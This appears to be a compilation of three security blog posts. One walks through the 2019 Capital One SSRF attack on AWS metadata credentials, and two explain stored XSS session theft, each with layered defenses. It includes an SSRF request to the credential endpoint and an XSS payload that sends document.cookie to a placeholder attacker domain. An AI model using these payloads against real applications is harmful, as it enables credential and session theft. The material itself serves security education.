DEV Community: CAISD

SSRF to AWS Credential Harvest — The Capital One Attack Chain, Visualized| CAISD

CAISD — Sun, 12 Apr 2026 11:39:39 +0000

No credentials. No malware. No special access.

Just a URL input — and a server with the wrong trust model.

This is how Capital One lost 100 million records in 2019.

What is SSRF?

Server-Side Request Forgery tricks your server into making HTTP requests on behalf of the attacker — including to internal metadata endpoints that should never be reachable from outside.

The Exact Attack Chain

Step 1 — Attacker sends a crafted request:

POST /api/document-import
url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role"

Step 2 — Server blindly fetches the URL
The app was designed to import documents from URLs. It never validated which URLs.

Step 3 — AWS metadata endpoint responds with live IAM credentials
Access key, secret key, session token — all returned in plaintext.

Step 4 — Attacker enumerates S3 buckets
Using the harvested credentials to authenticate against AWS directly.

Step 5 — 100M records exfiltrated
Credit applications, SSNs, bank account numbers.

Total time from exploit to data? Hours.

The Fix — 4 Layers of Defense

Layer	What to do
Input validation	URL allowlist + block private IP ranges (169.254.x.x, 10.x.x.x, 172.16.x.x)
IMDSv2 enforcement	Set `HttpTokens: required` — prevents unauthenticated metadata access
Network controls	Egress firewall + ACLs blocking metadata endpoint from app servers
IAM hygiene	Least-privilege roles — even if credentials leak, blast radius is minimal

Bug Bounty Severity Reference

🔴 SSRF → AWS metadata endpoint = P1 Critical
🔴 IAM credential harvest = P1 Critical
🟠 Internal service discovery via SSRF = P2 High

TL;DR

One unvalidated URL parameter → full AWS credential access → 100M records gone.

IMDSv2 + URL allowlisting would have stopped this cold.

Full visual breakdown by CAISD — Bamdad Shahabi:

Tags to add on dev.to: security aws webdev tutorial

XSS Attack Visualized — How Hackers Steal Sessions Without Your Password | CAISD

CAISD — Sun, 12 Apr 2026 01:43:50 +0000

canonical_url: https://medium.com/@mahone0094/hackers-dont-need-your-password-anymore-they-just-need-one-unsanitized-input-7e8c87471070

By Bamdad Shahabi | CAISD — Cyber Intelligence & Digital Forensics
youtube.com/@CAISD_Official

XSS has been in OWASP Top 10 for 20+ years.
Nobody handled it.

What is XSS?

XSS (Cross-Site Scripting) allows attackers
to inject malicious scripts into trusted websites.
The browser executes them because they appear
to come from a legitimate source.

How does XSS steal your session?

A user logs into their bank.
An attacker already stored this as a "comment":

Server stored it. No sanitization. No filtering.
Browser loads page — runs the script.
Session token flies to evil.io.
No password touched. Just trust abused.

The 3 types of XSS

① Stored XSS — payload in database,
hits every user. P1 severity in bug bounty.

② Reflected XSS — bounces from URL,
needs a click. P2 severity.

③ DOM-based XSS — client-side only.
Server never sees it. WAFs are blind to it.

Bug Bounty severity

Type	Severity
Stored XSS authenticated endpoint	P1
Session hijack via document.cookie	P1
Reflected XSS on login page	P2
DOM XSS bypassing WAF	P2

How to prevent XSS

✅ Content-Security-Policy:

Hackers Don't Need Your Password — They Need One Unsanitized Input | CAISD

CAISD — Sat, 11 Apr 2026 21:26:28 +0000

Hackers Don’t Need Your Password Anymore — They Just Need One Unsanitized Input
CAISD
CAISD
2 min read
·
6 hours ago

🔐 Hackers don’t need your password anymore.

They just need one unsanitized input field.

This is Cross-Site Scripting (XSS) — and it’s still in the OWASP Top 10 for a reason.
Here’s Exactly How It Works

A user visits a bank’s comment section.
An attacker has already submitted this as a “comment”:

new Image().src='//evil.io?d='+document.cookie

The server stored it. No sanitization. No filtering.

Now the victim’s browser loads the page — and runs that script.
Because it came from the bank’s domain, the Same-Origin Policy doesn’t blink.

The session token flies silently to evil.io.
The attacker logs in.

No password touched.
The 3 Types of XSS

Each one more subtle than the last:
① Stored XSS

The payload lives in the database.
It executes for every user who loads the page — including admins.
One injection, thousands of sessions compromised.
② Reflected XSS

The payload bounces back from a URL or form.
It requires a crafted link to be clicked — but it’s just as dangerous.
③ DOM-based XSS

Happens entirely client-side.
The server never sees the malicious input.
Most WAFs are completely blind to it.
The Defense Isn’t Complicated — Most Teams Just Skip It
✅ Content-Security-Policy (CSP)

Tells the browser to only execute scripts from approved sources.

Content-Security-Policy: script-src 'self'

Inline scripts? Blocked before they run.
✅ HttpOnly Cookie Flag

Even if a script executes — it can’t read the session token.

Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict

One flag. Massive impact.
✅ Output Encoding

Encode everything a user typed before rendering it:

< → <

→ >
" → "

✅ Server-Side Sanitization

Use proven libraries — not regex.

Python → bleach / MarkupSafe
Node.js → DOMPurify
Java → OWASP Java Encoder

What Most Teams Get Wrong

They deploy a WAF and call it done.

WAFs can be bypassed — encoding tricks, obfuscation, DOM vectors.
The real defense lives in the code, not in front of it.

Defense in depth means all four layers working together.
Remove one — and the others might not be enough.

XSS has been around for 25+ years.

It keeps appearing because developers assume someone else already handled it.

Nobody handled it.

I created a full cinematic breakdown of this attack — showing every step from login to session hijack to defense — frame by frame.

You can watch the full visual explanation on my YouTube channel:
https://www.youtube.com/@CAISD_Official

Because security isn’t about fear.
It’s about understanding how things actually break.

CyberSecurity #WebSecurity #XSS #AppSec #OWASP #InfoSec #SoftwareEngineering